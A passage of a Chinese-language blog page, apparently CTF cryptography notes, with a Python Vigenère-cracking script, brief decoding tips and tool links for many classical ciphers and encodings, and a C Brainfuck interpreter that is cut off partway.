class="keyword">in</span> <span class="built_in">range</span>(<span class="number">26</span>)]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">26</span>):</span><br><span class="line">        k[i] = count_MIC(c1, c2, i)</span><br><span class="line">        <span class="comment"># print(i,k[i])</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">abs</span>(k[i] - <span class="number">0.065</span>) &lt; mins):</span><br><span class="line">            mins = <span class="built_in">abs</span>(k[i] - <span class="number">0.065</span>)</span><br><span class="line">            n = i</span><br><span class="line">    <span class="keyword">return</span> n</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">group_k</span>(<span class="params">cipher, key_len</span>):  <span class="comment"># 完成分组操作并计算每一组与第一组的最优相对偏移量并返回</span></span><br><span class="line">    N = [<span class="string">&#x27;&#x27;</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(key_len)]</span><br><span class="line">    MIC = [<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(key_len)]</span><br><span class="line">    s = [<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(key_len)]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(cipher)):  <span class="comment"># 对密文进行分组</span></span><br><span class="line">        m = i % key_len</span><br><span class="line">        N[m] += cipher[i]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, key_len):  <span class="comment"># 计算与第一组之间的相对偏移量</span></span><br><span class="line">        s[i] = count_n(N[<span class="number">0</span>], N[i])  <span class="comment"># s[i] = k1-k(i+1)</span></span><br><span class="line">        MIC[i] = count_MIC(N[<span class="number">0</span>], N[i], s[i])  <span class="comment"># MIC[i] = MIC(1,i+1)</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;第1组和第%d组之间偏移为%d时，互重合指数为%.5f&quot;</span> % (i + <span class="number">1</span>, s[i], MIC[i]))</span><br><span class="line">    <span class="keyword">return</span> s</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">miyao</span>(<span class="params">key_len, s, k</span>):  <span class="comment"># k为第一个子串的移位，输出密钥并返回密钥所有字母的下标</span></span><br><span class="line">    mi = [<span class="string">&#x27;&#x27;</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(key_len)]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(key_len):</span><br><span class="line">        s[i] = -s[i] + k  <span class="comment"># k2=k1-n</span></span><br><span class="line">        mi[i] = <span class="built_in">chr</span>((s[i] + <span class="number">26</span>) % <span class="number">26</span> + <span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>))</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;第一个偏移量为%d,密钥为%s时&quot;</span> % (k, mi))</span><br><span class="line">    <span class="keyword">return</span> s</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">the_end</span>(<span class="params">cipher, key_len, s</span>):  <span class="comment"># 输入密文密钥返回明文结果</span></span><br><span class="line">    plain = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    i = <span class="number">0</span></span><br><span class="line">    <span class="keyword">while</span> (i &lt; <span class="built_in">len</span>(cipher)):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(key_len):</span><br><span class="line">            <span class="keyword">if</span> (cipher[i].isupper()):</span><br><span class="line">                plain += <span class="built_in">chr</span>((<span class="built_in">ord</span>(cipher[i]) - <span class="built_in">ord</span>(<span class="string">&#x27;A&#x27;</span>) - s[j] + <span class="number">26</span>) % <span class="number">26</span> + <span class="built_in">ord</span>(<span class="string">&#x27;A&#x27;</span>))</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                plain += <span class="built_in">chr</span>((<span class="built_in">ord</span>(cipher[i]) - <span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>) - s[j] + <span class="number">26</span>) % <span class="number">26</span> + <span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>))</span><br><span class="line">            i += <span class="number">1</span></span><br><span class="line">            <span class="keyword">if</span> (i == <span class="built_in">len</span>(cipher)):</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">                <span class="comment"># print(plain)</span></span><br><span class="line">    <span class="keyword">return</span> plain</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    fp = <span class="built_in">open</span>(<span class="string">&quot;密文.txt&quot;</span>, <span class="string">&quot;r&quot;</span>)</span><br><span class="line">    cipher = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> fp.readlines():</span><br><span class="line">        cipher = cipher + i</span><br><span class="line">    fp.close()</span><br><span class="line">    cipher = alpha(cipher)</span><br><span class="line">    key_len = length(cipher)</span><br><span class="line">    s = group_k(cipher, key_len)</span><br><span class="line">    m = s.copy()</span><br><span class="line">    <span class="keyword">for</span> k <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">26</span>):</span><br><span class="line">        s = m.copy()</span><br><span class="line">        s = miyao(key_len, s, k)</span><br><span class="line">        plain = the_end(cipher, key_len, s)</span><br><span class="line">        <span class="built_in">print</span>(plain[<span class="number">0</span>:<span class="number">20</span>])  <span class="comment"># 输出部分明文确定偏移量k1</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;参考输出，请输入第一个子串的偏移量:&quot;</span>, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">    k = <span class="built_in">int</span>(<span class="built_in">input</span>())</span><br><span class="line">    m = miyao(key_len, m, k)</span><br><span class="line">    plain = the_end(cipher, key_len, m)</span><br><span class="line"></span><br><span class="line">    <span class="string">&#x27;&#x27;&#x27;对英文文本进行分词&#x27;&#x27;&#x27;</span></span><br><span class="line">    word = wordninja.split(plain)</span><br><span class="line">    plain = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(word)):</span><br><span class="line">        plain += word[i]</span><br><span class="line">        plain += <span class="string">&#x27; &#x27;</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;明文为\n&quot;</span> + plain)</span><br></pre></td></tr></table></figure></div><h4 id="希尔密码："><a href="#希尔密码：" class="headerlink" title="希尔密码："></a>希尔密码：</h4><p>解密网站:<a class="link" href="http://www.metools.info/code/hillcipher243.html">http://www.metools.info/code/hillcipher243.html <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>已知密文和密钥，并且密钥(key)是一个网址，如<a class="link" href="http://www.verymuch.net/">http://www.verymuch.net <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>已知密文和密钥，并且密钥是四个数字</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">密文：ymyvzjtxswwktetpyvpfmvcdgywktetpyvpfuedfnzdjsiujvpwktetpyvnzdjpfkjssvacdgywktetpyvnzdjqtincduedfpfkjssne</span><br><span class="line">密钥：3 4 19 11</span><br></pre></td></tr></table></figure></div><h4 id="Rabbi密码："><a href="#Rabbi密码：" class="headerlink" title="Rabbi密码："></a>Rabbi密码：</h4><p>已知密文和密钥，密文有点像base64编码的(可能有+号)</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/202411071918770.png" alt="QQ_1730978281433"></p><h4 id="云隐密码："><a href="#云隐密码：" class="headerlink" title="云隐密码："></a>云隐密码：</h4><p>特征是：密文只由01248组成</p><p>用随波逐流或者CTFD中的脚本直接跑</p><h4 id="曼彻斯特与差分曼彻斯特编码"><a href="#曼彻斯特与差分曼彻斯特编码" class="headerlink" title="曼彻斯特与差分曼彻斯特编码:"></a>曼彻斯特与差分曼彻斯特编码:</h4><p><a class="link" href="https://eleif.net/manchester.html">Online Manchester decoder&#x2F;encoder ‐ eleif.net <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><ol><li>曼彻斯特码：从高到低表示 1，从低到高表示 0</li><li>差分曼彻斯特码：在每个时钟周期的起始处（虚线处）有跳变表示 0；无跳变则表示1。</li></ol><p><img src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/202411071947708.png" alt="imgs/image-20240529203318823.png"></p><h4 id="社会主义核心价值观密码："><a href="#社会主义核心价值观密码：" class="headerlink" title="社会主义核心价值观密码："></a>社会主义核心价值观密码：</h4><p>解密网址：<a class="link" href="http://www.hiencode.com/cvencode.html">http://www.hiencode.com/cvencode.html <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>公正民主公正文明公正和谐：abc</p><h4 id="outguess解密图片："><a href="#outguess解密图片：" class="headerlink" title="outguess解密图片："></a>outguess解密图片：</h4><p>在kali中下载outguess：outguess -k ‘abc’ -r mmm.jpg -t flag.txt</p><p>outguess -k ‘key’ -r 加密后的图片.jpg -t 明文.txt</p><h4 id="盲文："><a href="#盲文：" class="headerlink" title="盲文："></a>盲文：</h4><p>使用<a class="link" href="https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=mangwen%E5%9C%A8%E7%BA%BF%E7%BF%BB%E8%AF%91">https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=mangwen在线翻译 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h4 id="文本加密为音乐符号："><a href="#文本加密为音乐符号：" class="headerlink" title="文本加密为音乐符号："></a>文本加密为音乐符号：</h4><p>Tips：这里要注意，加密的密文一定是以&#x3D;结尾的，有时候需要自己把&#x3D;加上</p><p>eg：♭♯♪‖¶♬♭♭♪♭‖‖♭♭♬‖♫♪‖♩♬‖♬♬♭♭♫‖♩♫‖♬♪♭♭♭‖¶∮‖‖‖‖♩♬‖♬♪‖♩♫♭♭♭♭♭§‖♩♩♭♭♫♭♭♭‖♬♭‖¶§♭♭♯‖♫∮‖♬¶‖¶∮‖♬♫‖♫♬‖♫♫§&#x3D;</p><p>直接用在线网站解密：<a class="link" href="https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue">https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h4 id="敲击码："><a href="#敲击码：" class="headerlink" title="敲击码："></a>敲击码：</h4><p><strong>特征特点</strong>：敲击码是基于5×5方格波利比奥斯方阵来实现的，不同点是是用K字母被整合到C中，因此密文的特征为1-5的两位一组的数字，编码的范围是A-Z字母字符集，字母不区分大小写。</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202411072138814.png" alt="img"></p><p><a class="link" href="http://www.hiencode.com/tapcode.html">CTF在线工具-在线敲击码|敲击码编码|敲击码算法|tap code (hiencode.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h4 id="Polybius密码-详见CTFwiki"><a href="#Polybius密码-详见CTFwiki" class="headerlink" title="Polybius密码(详见CTFwiki)"></a>Polybius密码(详见CTFwiki)</h4><p>类似于11，22，11，24这样的</p><p>去逗号改成空格，拉入随波逐流直接解密</p><h4 id="ROT编码"><a href="#ROT编码" class="headerlink" title="ROT编码"></a>ROT编码</h4><blockquote><p>ROT5、ROT13、ROT18、ROT47 编码是一种简单的码元位置顺序替换暗码。此类编码具有可逆性，可以自我解密，主要用于应对快速浏览，或者是机器的读取，而不让其理解其意。</p><p>ROT5 是 rotate by 5 places 的简写，意思是旋转5个位置，其它皆同。下面分别说说它们的编码方式：<br>ROT5：只对数字进行编码，用当前数字往前数的第5个数字替换当前数字，例如当前为0，编码后变成5，当前为1，编码后变成6，以此类推顺序循环。</p><p>ROT13：只对字母进行编码，用当前字母往前数的第13个字母替换当前字母，例如当前为A，编码后变成N，当前为B，编码后变成O，以此类推顺序循环。</p><p>ROT18：这是一个异类，本来没有，它是将ROT5和ROT13组合在一起，为了好称呼，将其命名为ROT18。</p><p>ROT47：对数字、字母、常用符号进行编码，按照它们的ASCII值进行位置替换，用当前字符ASCII值往前数的第47位对应字符替换当前字符，例如当前为小写字母z，编码后变成大写字母K，当前为数字0，编码后变成符号_。用于ROT47编码的字符其ASCII值范围是33－126，具体可参考ASCII编码。</p></blockquote><h4 id="对称加密"><a href="#对称加密" class="headerlink" title="对称加密"></a>对称加密</h4><h5 id="DES加密算法"><a href="#DES加密算法" class="headerlink" title="DES加密算法"></a>DES加密算法</h5><h5 id="AES加密算法"><a href="#AES加密算法" class="headerlink" title="AES加密算法"></a>AES加密算法</h5><p><img src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202411072304737.png" alt="imgs/aes1.png"></p><h5 id="AES-ECB-不需要IV"><a href="#AES-ECB-不需要IV" class="headerlink" title="AES-ECB(不需要IV)"></a>AES-ECB(不需要IV)</h5><p>CyberChef解密AES-ECB时需要将IV设置为<code>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00</code></p><p>如果 <code>key</code> 不足16字节可以尝试在后面补0</p><h5 id="AES-CBC-需要填写IV"><a href="#AES-CBC-需要填写IV" class="headerlink" title="AES-CBC(需要填写IV)"></a>AES-CBC(需要填写IV)</h5><p>密钥不足16字节时需要padding补齐16字节</p><p>可以使用能自动补齐的在线网站解密 <a class="link" href="https://www.sojson.com/encrypt_aes.html">https://www.sojson.com/encrypt_aes.html <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h4 id="埃特巴什码-Atbash"><a href="#埃特巴什码-Atbash" class="headerlink" title="埃特巴什码(Atbash)"></a>埃特巴什码(Atbash)</h4><p>类似于：(+w)v&amp;LdG_FhgKhdFfhgahJfKcgcKdc_eeIJ_gFN</p><p>拉入厨子直接解密</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123; ==&gt; Atbash加密 ==&gt; UOZT&#123;</span><br></pre></td></tr></table></figure></div><h4 id="DNA编码"><a href="#DNA编码" class="headerlink" title="DNA编码"></a>DNA编码</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AATTCAACAACATGCTGC</span><br></pre></td></tr></table></figure></div><p>解密脚本：</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">table = <span class="string">&#x27;ACGT&#x27;</span></span><br><span class="line">dic = &#123;<span class="string">&#x27;AAA&#x27;</span>: <span class="string">&#x27;a&#x27;</span>, <span class="string">&#x27;AAC&#x27;</span>: <span class="string">&#x27;b&#x27;</span>, <span class="string">&#x27;AAG&#x27;</span>: <span class="string">&#x27;c&#x27;</span>,</span><br><span class="line">       <span class="string">&#x27;AAT&#x27;</span>: <span class="string">&#x27;d&#x27;</span>, <span class="string">&#x27;ACA&#x27;</span>: <span class="string">&#x27;e&#x27;</span>, <span class="string">&#x27;ACC&#x27;</span>: <span class="string">&#x27;f&#x27;</span>, <span class="string">&#x27;ACG&#x27;</span>: <span class="string">&#x27;g&#x27;</span>, <span class="string">&#x27;ACT&#x27;</span>: <span class="string">&#x27;h&#x27;</span>, <span class="string">&#x27;AGA&#x27;</span>: <span class="string">&#x27;i&#x27;</span>, <span class="string">&#x27;AGC&#x27;</span>: <span class="string">&#x27;j&#x27;</span>, <span class="string">&#x27;AGG&#x27;</span>: <span class="string">&#x27;k&#x27;</span>, <span class="string">&#x27;AGT&#x27;</span>: <span class="string">&#x27;l&#x27;</span>, <span class="string">&#x27;ATA&#x27;</span>: <span class="string">&#x27;m&#x27;</span>, <span class="string">&#x27;ATC&#x27;</span>: <span class="string">&#x27;n&#x27;</span>, <span class="string">&#x27;ATG&#x27;</span>: <span class="string">&#x27;o&#x27;</span>, <span class="string">&#x27;ATT&#x27;</span>: <span class="string">&#x27;p&#x27;</span>, <span class="string">&#x27;CAA&#x27;</span>: <span class="string">&#x27;q&#x27;</span>, <span class="string">&#x27;CAC&#x27;</span>: <span class="string">&#x27;r&#x27;</span>, <span class="string">&#x27;CAG&#x27;</span>: <span class="string">&#x27;s&#x27;</span>, <span class="string">&#x27;CAT&#x27;</span>: <span class="string">&#x27;t&#x27;</span>, <span class="string">&#x27;CCA&#x27;</span>: <span class="string">&#x27;u&#x27;</span>, <span class="string">&#x27;CCC&#x27;</span>: <span class="string">&#x27;v&#x27;</span>, <span class="string">&#x27;CCG&#x27;</span>: <span class="string">&#x27;w&#x27;</span>, <span class="string">&#x27;CCT&#x27;</span>: <span class="string">&#x27;x&#x27;</span>, <span class="string">&#x27;CGA&#x27;</span>: <span class="string">&#x27;y&#x27;</span>, <span class="string">&#x27;CGC&#x27;</span>: <span class="string">&#x27;z&#x27;</span>, <span class="string">&#x27;CGG&#x27;</span>: <span class="string">&#x27;A&#x27;</span>, <span class="string">&#x27;CGT&#x27;</span>: <span class="string">&#x27;B&#x27;</span>, <span class="string">&#x27;CTA&#x27;</span>: <span class="string">&#x27;C&#x27;</span>, <span class="string">&#x27;CTC&#x27;</span>: <span class="string">&#x27;D&#x27;</span>, <span class="string">&#x27;CTG&#x27;</span>: <span class="string">&#x27;E&#x27;</span>, <span class="string">&#x27;CTT&#x27;</span>: <span class="string">&#x27;F&#x27;</span>, <span class="string">&#x27;GAA&#x27;</span>: <span class="string">&#x27;G&#x27;</span>, <span class="string">&#x27;GAC&#x27;</span>: <span class="string">&#x27;H&#x27;</span>, <span class="string">&#x27;GAG&#x27;</span>: <span class="string">&#x27;I&#x27;</span>, <span class="string">&#x27;GAT&#x27;</span>: <span class="string">&#x27;J&#x27;</span>, <span class="string">&#x27;GCA&#x27;</span>: <span class="string">&#x27;K&#x27;</span>, <span class="string">&#x27;GCC&#x27;</span>: <span class="string">&#x27;L&#x27;</span>, <span class="string">&#x27;GCG&#x27;</span>: <span class="string">&#x27;M&#x27;</span>, <span class="string">&#x27;GCT&#x27;</span>: <span class="string">&#x27;N&#x27;</span>, <span class="string">&#x27;GGA&#x27;</span>: <span class="string">&#x27;O&#x27;</span>, <span class="string">&#x27;GGC&#x27;</span>: <span class="string">&#x27;P&#x27;</span>, <span class="string">&#x27;GGG&#x27;</span>: <span class="string">&#x27;Q&#x27;</span>, <span class="string">&#x27;GGT&#x27;</span>: <span class="string">&#x27;R&#x27;</span>, <span class="string">&#x27;GTA&#x27;</span>: <span class="string">&#x27;S&#x27;</span>, <span class="string">&#x27;GTC&#x27;</span>: <span class="string">&#x27;T&#x27;</span>, <span class="string">&#x27;GTG&#x27;</span>: <span class="string">&#x27;U&#x27;</span>, <span class="string">&#x27;GTT&#x27;</span>: <span class="string">&#x27;V&#x27;</span>, <span class="string">&#x27;TAA&#x27;</span>: <span class="string">&#x27;W&#x27;</span>, <span class="string">&#x27;TAC&#x27;</span>: <span class="string">&#x27;X&#x27;</span>, <span class="string">&#x27;TAG&#x27;</span>: <span class="string">&#x27;Y&#x27;</span>, <span class="string">&#x27;TAT&#x27;</span>: <span class="string">&#x27;Z&#x27;</span>, <span class="string">&#x27;TCA&#x27;</span>: <span class="string">&#x27;1&#x27;</span>, <span class="string">&#x27;TCC&#x27;</span>: <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;TCG&#x27;</span>: <span class="string">&#x27;3&#x27;</span>, <span class="string">&#x27;TCT&#x27;</span>: <span class="string">&#x27;4&#x27;</span>, <span class="string">&#x27;TGA&#x27;</span>: <span class="string">&#x27;5&#x27;</span>, <span class="string">&#x27;TGC&#x27;</span>: <span class="string">&#x27;6&#x27;</span>, <span class="string">&#x27;TGG&#x27;</span>: <span class="string">&#x27;7&#x27;</span>, <span class="string">&#x27;TGT&#x27;</span>: <span class="string">&#x27;8&#x27;</span>, <span class="string">&#x27;TTA&#x27;</span>: <span class="string">&#x27;9&#x27;</span>, <span class="string">&#x27;TTC&#x27;</span>: <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;TTG&#x27;</span>: <span class="string">&#x27; &#x27;</span>&#125;</span><br><span class="line">cipher = <span class="string">&#x27;TCATCAACAAAT&#x27;</span></span><br><span class="line">plain = <span class="string">&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(cipher), <span class="number">3</span>):</span><br><span class="line">    plain += dic[cipher[i:i+<span class="number">3</span>]]</span><br><span class="line"><span class="built_in">print</span>(plain)</span><br></pre></td></tr></table></figure></div><h4 id="Decabit编码"><a href="#Decabit编码" class="headerlink" title="Decabit编码"></a>Decabit编码</h4><p>正常的 Decabit编码 是十个字符一组的，如果不是十个一组，就很可能不是 Decabit编码</p><p>+-+-++–+- ++—+-++- -+–++-++- +–++-++– –+++++— ++-++—+- +++-+-+— +-+-+—++ —+++-++- -+–++-++- -+–+++-+- -+–++-++- -+–++-++- ++-+-+-+– -+–+++-+- ++-++—+- -++++—+- -+–++-++- ++-+-+-+– +-+++—+- +++-++—- —+++-++- +-+-+—++ ++-+-+-+– +-+-+–++- ++–+–++- -++++—+- +—+++-+- ++-+-+-+– -++++—+- -+–+++-+- +–+-+-++- +++-+-+— +-+++—+- -+–+-+++- -+–++-++- —+++-++- ++++—-+- -++++—+- -+–+++-+- -+–++-++- —-+++++-</p><p>直接使用 <a class="link" href="https://www.dcode.fr/decabit-code">在线网站 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> 解密即可</p><p>如果不是Decabit编码，可以试试看把+-分别用01替换 </p><h4 id="仿射密码"><a href="#仿射密码" class="headerlink" title="仿射密码"></a>仿射密码</h4><p>有两个key，key-a为必须是(1,3,5,7,9,11,15,17,19,21,23,25)中的一个,key-b是0~25的数字</p><p>可以使用在线网站<a class="link" href="http://www.hiencode.com/affine.html">CTF在线工具-在线仿射密码加密|在线仿射密码解密|仿射密码算法|Affine Cipher (hiencode.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>或者随波逐流解密</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">gezx&#123;j13p5oznp_1t_z_900y_k3z771h_k001&#125;</span><br><span class="line">key-a=17key-b=77</span><br><span class="line">flag&#123;w13e5hake_1s_a_900d_t3a771c_t001&#125;</span><br></pre></td></tr></table></figure></div><h4 id="BrainFuck编码"><a href="#BrainFuck编码" class="headerlink" title="BrainFuck编码"></a>BrainFuck编码</h4><p>可以直接使用在线网站解码<a class="link" href="https://ctf.bugku.com/tool/brainfuck">Brainfuck&#x2F;OoK加密解密 - Bugku CTF平台 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>，但是flag可能会藏在内存中然后被删去导致无法输出flag，因此可以用下面这个代码输出之前放在内存中的flag</p><div class="highlight-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span>  _CRT_SECURE_NO_WARNINGS</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="type">char</span> s[<span class="number">30000</span>]=&#123;<span class="number">0</span>&#125;;</span><br><span class="line"><span class="type">char</span> code[<span class="number">2000</span>];</span><br><span class="line"><span class="type">int</span> len = <span class="number">0</span>;</span><br><span class="line"><span class="type">int</span> <span class="built_in">stack</span>[<span class="number">10000</span>];</span><br><span class="line"><span class="type">int</span> stack_len=<span class="number">0</span>;</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">char</span> c;</span><br><span class="line">    <span class="type">int</span> i=<span class="number">0</span>,j,k,x=<span class="number">0</span>;</span><br><span class="line">    FILE* f;</span><br><span class="line">    <span class="type">char</span>* p=s+<span class="number">10000</span>;</span><br><span class="line">    f=fopen(<span class="string">&quot;./bf.txt&quot;</span>,<span class="string">&quot;r&quot;</span>);</span><br><span class="line">    <span class="keyword">while</span>(fread(&amp;code[len],<span class="number">1</span>,<span class="number">1</span>,f)==<span class="number">1</span>)</span><br><span class="line">&#123;</span><br><span class="line">        len++;</span><br><span class="line">    &#125;</span><br><span class="line">    setbuf(<span class="built_in">stdout</span>,<span class="literal">NULL</span>);</span><br><span class="line">    <span class="keyword">while</span>(i&lt;len) &#123;</span><br><span class="line">        <span class="keyword">switch</span>(code[i]) &#123;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;+&#x27;</span>:</span><br><span class="line">                (*p)++;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;-&#x27;</span>:</span><br><span class="line">                (*p)--;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;&gt;&#x27;</span>:</span><br><span class="line">                p++;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;&lt;&#x27;</span>:</span><br><span class="line">                p--;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;.&#x27;</span>:</span><br><span class="line">                <span class="built_in">putchar</span>((<span class="type">int</span>)(*p));</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;,&#x27;</span>:</span><br><span class="line">                *p=getchar();</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;[&#x27;</span>:</span><br><span class="line">                <span class="keyword">if</span>(*p) &#123;</span><br><span class="line">                    <span class="built_in">stack</span>[stack_len++]=i;</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    <span class="keyword">for</span>(k=i,j=<span class="number">0</span>;k&lt;len;k++) &#123;</span><br><span class="line">                        code[k]==<span class="string">&#x27;[&#x27;</span>&amp;&amp;j++;</span><br><span class="line">                        code[k]==<span class="string">&#x27;]&#x27;</span>&amp;&amp;j--;</span><br><span class="line">                        <span class="keyword">if</span>(j==<span class="number">0</span>)<span class="keyword">break</span>;</span><br><span class="line">                    &#125;</span><br><span class="line">                    <span class="keyword">if</span>(j==<span class="number">0</span>)</span><br><span class="line">                        i=k;</span><br><span class="line">                    <span class="keyword">else</span> &#123;</span><br><span class="line">                        <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>,<span class="string">&quot;%s:%dn&quot;</span>,__FILE__,__LINE__);</span><br><span class="line">                        <span class="keyword">return</span> <span class="number">3</span>;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;]&#x27;</span>:</span><br><span class="line">                i=<span class="built_in">stack</span>[stack_len-- - <span class="number">1</span>]<span class="number">-1</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">default</span>:</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        i++;</span><br><span class="line">        x++;</span><br><span class="line">    